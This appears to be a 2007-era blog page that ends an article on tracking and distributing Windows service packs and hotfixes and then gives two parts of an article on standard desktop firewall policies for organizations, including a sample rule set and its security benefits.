BugNet - Excellent resource for keeping on top of software bugs

Finally, do not forget Microsoft's Knowledge Base. If you search for the word "Fix:" or "security_patch" and only include articles for the last several days, you can sometimes find fixes that would otherwise sneak by without much notice.

One way to keep on top of all these pages using Internet Explorer is to navigate to the page, then from the favorites menu, select Add to Favorites. Then check the Make available offline button and click on Customize to create a synchronization schedule. I normally set it to synchronize every day. Save the schedule and the bookmark and next time the page changes, a red dot will appear next to the site's icon in the favorite's menu.

Distributing Updates

Keeping on top of updates difficult enough for one or two servers, but if you have to distribute updates to several hundred computers across an enterprise, the task can be quite overwhelming. To do this, I would recommended creating a network share for storing all service packs and hotfixes. To actually distribute them, you may opt to manually apply each one, use a script or batch file, use Microsoft's SMS server, or use some other third-party software. If you have all Windows 2000 systems, you may very well want to consider using ActiveDirectory's publish and assign features to distribute updates. Publish allows you to make updates available for installation and assign will actually force the install on every computer under the control of that policy.

Some day managing service packs and hotfixes will be a thing of the past. But for now you must know about the updates, know that you need to apply them, know where to get them, reinstall them (and in the right order) after changing your system, and have a good plan for distributing them across your company. Nonetheless, with a good strategy, it can be done and it can be done well.

Relevant Links

Windows Update
Microsoft
Microsoft Security Bulletins
Microsoft
Windows NT Hotfixes
Microsoft
Windows NT Service Packs
Microsoft
Windows 2000 Downloads Page
Microsoft
Microsoft Main Downloads Page
Microsoft
Microsoft FTP Site
Microsoft
OfficeUpdate
Microsoft
DLL Help Database
Microsoft

Standards in desktop firewall policies -2

2007-08-16T03:05:00.000-07:00

Benefits of a desktop firewall policy

* The ability to predict the impact of security-related events is enhanced. An event could have many characteristics and take on many different forms. If some of those characteristics involve network port access, the policy may offer an initial form of protection. In addition, network-oriented responses to these events become more predictable. For example, the application of router and network firewall ACLs are sometimes used to deter the propagation of virus and worms. The problem is, the implementation of ACLs could impact production software, in cases where both applications and a security event have similar port requirements. Depending on the characteristics of the event, the example policy may make ACLs unnecessary on some network segments.

* Provide consistent software solutions (as opposed to multiple solutions that provide the same function). Two departments requiring a similar service may deploy two different software solutions. While it is best that departments in any organization coordinate development and deployment in software solutions, the reality is, this doesn't always happen. The policy defined above offers some hurdles for new applications. If the policy happens to conflict with the network requirements of the application a request for a policy enhancement would be required. At this point, if not already, the application becomes known to the organization.

* Restrict the ability for network-oriented programs from hitting the desktop until evaluated. Again, the policy may offer some new hurdles for applications, depending on their requirements. A recent example could be Microsoft's Activesync 4.0 software. The example policy above would require modifications, which could carry the concept of being loose or tight. (Visit Microsoft's Activesync page for the requirements.) The policy impacts the application in several areas: inbound port requirements, backend network construction, and these involve the use UDP along with TCP. A modification of the policy may include a fairly tight rule that binds the local ports to the application for the backend network only, such as:

allow 169.254.2.1 inbound access to the { required ports } AND { executables }

Analysis of the application through the use of Nmap can verify the port requirements on the backend network, but also reveals activity on the primary network. In this case a ‘status' port that is TCP 999 becomes active on the primary network when the handheld that uses Activesync is cradled. In theory one could execute a single port scan against port 999 on a subnet and identify all IP address which currently are ‘syncing' a handheld. Depending on the firewall internals and given the policy defined, Nmap may indicate ‘closed' for port 999. Some firewalls can be configured to drop an inbound packet for a port that is blocked, which would return nothing in this case.

* Restrict the use of service-oriented software. Individuals involved or concerned with security have to be interested and even frustrated with this. Software running on an ordinary desktop (as opposed to a ‘server') that requires a port used for listening could be susceptible to coding errors allowing inbound access or backdoors. They should be avoided.

* Software using unusual protocols will become known (such as systems using the streaming protocol IGMP). While the use of protocols other than IP isn't itselft an issue, it's an advantage to know they are in use. Some firewalls will not pass these protocols, and isolation of their use could be difficult. It's now common for the software provider or vendor to make their networking requirements available for organizations supporting a desktop firewall.

* Track the use of broadcast-oriented software which usually runs as UDP. The example policy in this article would disable the response to a UDP broadcast. A good standard for any organization is to define service-oriented equipment, such as printers and scanners, using static IP addresses, and make the user aware of the names and IP addresses of these facilities that are in their area. The security issue in this case is that the service could be spoofed. A phony print server could be created to capture and forward printouts to the actual server.

* Track the use of backend networks or dual-homed machines. The example policy may reveal a backend, depending on what it is being used for. The use of backend networks won't directly cause security concerns, but their existence and use should be identified. For example, asset and patch management could be impacted, and real vulnerability assessment would also not be possible.

* Software and desktop support can be impacted and simplified. The example policy offers some limitations on what software can do on the network. Software requiring modifications to the policy obviously becomes known, and the specific policy modifications would help create a consistent deployment.

* The example policy would help in the enforcement of the organization's security policies or detection of software which might break this policy. For example, it may be part of the security policy to prohibit the use of database, web, ftp or P2P servers on ordinary desktops. The policy in this example would block those services.

* A global policy could help enforce an organizations specific standards; such as the use of a remote access VPN or streaming media solution. The example policy would most likely require modifications to support VPN. Typically the software requirements of VPN would differ between vendors as well.

* The policy could be used to limit access to services running over non-standard ports. For example, assume that only minimum outbound internet access restrictions are in place and a policy and mechanism exists to monitor and log Internet web access. Typically web access is done using TCP port 80. However it is possible for a user to access an external anonymous web proxy (such as www.proxyblind.org; there are many others) that may run on a port other than 80. This usage would bypass logging and allow the user to surf the web anonymously. A modification to our example policy restricting iexplorer.exe to outbound TCP port 80 could be created. Limitations on other ports commonly used to support anonymous web proxies could also be created (for example, these are often found on TCP ports 3128, 8000 and 8080)

Summary
A common desktop firewall policy could lead to, or help in the enforcement of, software networking standards. If this is something an organization wants, there are clear benefits. Depending on whether the organization is running a firewall with a consistent policy or not, networking standards at some level may already be enforced. New applications may or may not be compatible with this policy, and changes or modifications would need to be requested. Those who deploy new software may need to be a bit more familiar with the network requirements of their software, to be able to adhere to policy.

The desktop firewall, typically just one piece of desktop security, often is combined with patch management, anti-virus and software deployment/management facilities to form a complete security solution. As part of that solution, the desktop firewall's job is to simply block network traffic and detect attacks. Yet the reality is, it can do more than this although added features may not be quite as tangible as the supplying desktop protection.

The implementation and maintenance of a desktop firewall can be a stressful and frustrating experience – particularly for those organizations who do not have a full understanding of their own network requirements. It can cause existing software to become disabled. It could require deployment dates to be extended due to additional development time required to isolate compatibility issues. It may require additional resources or steps to get software to the desktop.
Conclusion
In this article we discussed the need for a desktop firewall policy within an organization. It was discussed how such a policy should be formed, and then an example was provided – along with a detailed discussion of the security benefits it provides an organization.

An old school of thought would resist any restrictions placed on internal network access. But today the stakes are a higher, and security is paramount. At some point in the history of networked computing, an organization has become more accountable for its network traffic and legality of the software it chooses to run. Not many options are available for limiting the use of the network (beyond simply blocking it at the usual choke points, which doesn't allow for the controlling of specific applications). This approach needs to change, as more and more attacks and security concerns come from the soft underbelly of the organization's internal network.

Standards in desktop firewall policies -1

2007-08-16T03:03:00.000-07:00

The idea of a common desktop firewall policy in any size organization is a very good thing. It makes responses to external or internal situations such as virus outbreaks or network-oriented propagation of viruses more predictable. In addition to providing a level of protection against port scanning, attacks or software vulnerabilities, it can provide the organizations local security team a baseline or starting point in dealing with such events.

The purpose of this article is to discuss the need for a desktop firewall policy within an organization, determine how it should be formed, and provide an example of one along with the security benefits it provides an organization.
The Problem
The trick to a good desktop firewall policy is to provide a balance between security and the networking requirements of the applications needed by the organization. It's possible the organization may not yet have a complete knowledge of these requirements. This should make the first attempt to define a standard/global policy interesting, depending on the level of protection one is trying to provide and the situation or environment the desktops may be in.

One thought on an initial policy is to provide a port-based firewall with all inbound ports blocked on the desktop. On the other hand, an old school of thought might involve one blocking only the ports that need to be blocked, by estimating software network requirements and then combining this with an effort to also block the most obvious of possible vulnerabilities or services. Evaluating FTP, Windows IIS or NetBIOS requirements might provide a first pass at a standard global policy. Our old school of thought again would leave the balance tipped toward the (as yet unknown) network requirements of the software, and less toward protection. In other words, offer functionality over security. While providing consistency, cases where the desktop (or laptop) is located off site may not fully satisfy security requirements of the organization.

Location awareness may be a feature of the desktop firewall that one could use to design a policy that changes to better fit a user's location. Some personal firewall solutions provide location awareness as a feature. Location selection could be automatically selected depending on a successful Windows domain login, specific IP address, DNS server address, network adaptor type, or it could be based on the client firewall's ability to connect to a policy manager.

If location awareness is not a built-in feature of the firewall, the policy could be designed around the organization's internal IP address range or, if available, be configured around the DNS domain name. For example:

allow all inbound *.someorganization.org
Issues with a "block all" inbound policy
A block all inbound policy while connected offsite would seem to present the least amount of risk, but might not be completely possible while onsite. The first issue may be caused by the firewall itself. Depending on the vendor, characteristics of the firewall may impact application functionality while using a block all inbound policy. This may include UDP, complex protocols like FTP, NFS, applications running in a service mode, and problems with a Intrusion Prevention System if one is provided with the firewall. Each of these issues will be discussed below.

UDP, being a stateless protocol, is difficult for any firewall to handle. A simple UDP based service may run on port 1313, or example. The UDP client (running the desktop firewall) would attempt to connect to 1313, and assign a port for a reply. There may or may not be a reply; if there is, it won't be easy for the firewall to determine whether or not to allow it. Either the firewall needs to attempt to keep state of all outbound UDP traffic on its own, or UDP port requirements must be known and the firewall must be configured to allow the reply on a case-by-case basis.

An example of a facility requiring UDP might be printer or scanner client that issues a UDP broadcast and then awaits a reply. That reply would come from a scanner or printer the user may want to access, and it might include its status or availability.

FTP could cause another possible issue with the firewall. In some cases the firewall may not support active FTP, which is unusual as Microsoft Windows doesn't support passive mode. Active FTP is where the ftp server will initiate a connection back to the client to do the actual transfer of data. Oddly, FTP is still used and sometimes even embedded within other software. Fixes for active FTP on firewalls can be ugly and may end up being one of the first application-based rules.

Applications running in a service mode can have one of two solutions: either the firewall requires an application-based rule where the application's network access is restricted to predefined ports, or one can simply allow the open port, possibly with some other restricting criteria. Restrictions by IP address or time of day are possible as well, and may be desired.

An Intrusion Prevention System may be an additional feature of a desktop firewall within an enterprise. This would allow the firewall to detect possible attacks by examining the inbound packet and matching data and port usage against a list of known attack signatures. The IPS may be configured to respond by blocking the inbound packet or allowing it and sending an alert. False positives on a firewall supporting IPS could mistakenly block inbound traffic and would need to be analyzed and adjusted on case-by-case basis. Logging the event and allowing the traffic may be the quickest and easiest way to deal with false positives.
The Environment
In this part of the article, we detail what is needed to create an environment where software requirements are known and our corporate standards are enforced:

1. a desktop firewall This is the tool used to enforce restrictions on network access by limiting port and protocol access. The firewall should limit the user's ability to change its configuration, yet provide enough function such that the user can identify issues that may be caused by the firewall policy. The firewall should support port- and application-based filtering.
2. A security policy This will define what is or is not permitted to or from the network, on a standard desktop. Typically this would be generated by a high-ranking security group or set of officials in the organization, and would be generalized into a non-technical document (it could be as simple as block all inbound rule).
3. Knowledge of existing port requirements or a baseline of requirements These would be taken standard or default desktop operating system configuration used in the organization. Typically an organization would have an install tailored to its own requirements, and it may include patches, anti-virus, and common software required by all users. This, combined with the security policy, would form the basic desktop firewall policy.
4. Ability to deploy a single global firewall solution to all desktops This means deploying the solution to all desktops in the organization with a consistent or single policy. Enforcement and tracking of deployment would also be necessary.
5. Facility to provide and update the firewall policy Some firewalls can be centrally managed directly. Depending on the needs or structure of the organization, the minimum requirements would require a common/global firewall policy that can be updated, for example through the replacement of a configuration file. Obviously some form of central software management would need to be in place.
6. Large plastic bat to handle upset users
7. Tools to aid in the analysis of the networking requirements For example, this might include Ethereal for monitoring traffic, the ability to analyze firewall logs, Perl scripts to test firewall rules, Nmap for port scanning, and so on.

"Software Networking Standards" – A potential benefit
If the organization knows the networking requirements of its applications, a policy could easily be created. Then the idea of software networking standards could be enforced through the policy.
An example
In order to provide a firewall policy for the examples below, let's first assume that a policy is designed and configured to block all inbound TCP/UDP, and allow all outbound TCP/UDP. We will also assume the firewall does not properly handle outbound UDP or complex protocols such as FTP. Some known software requirements in this environment may be obvious, for example support the organization permits file sharing. This would require inbound TCP port 445 open . A rule is created to support inbound 445 and also restrict the rule to a range of IP address (192.168.4.0 through 192.168.20.255 in this example, with the understanding that this private IP address range could be used by other organizations such as hotels as well, creating a potential hole for traveling users). Finally, ICMP is allowed for troubleshooting. A sample policy might thus be configured to:

* Allow all inbound and outbound ICMP
* Allow inbound TCP 445 from hosts 192.168.4.0 – 192.168.20.255
* Block all inbound TCP
* Block all inbound UDP
* Allow all outbound TCP
* Allow all outbound UDP

Let's now look at the benefits of using our sample policy.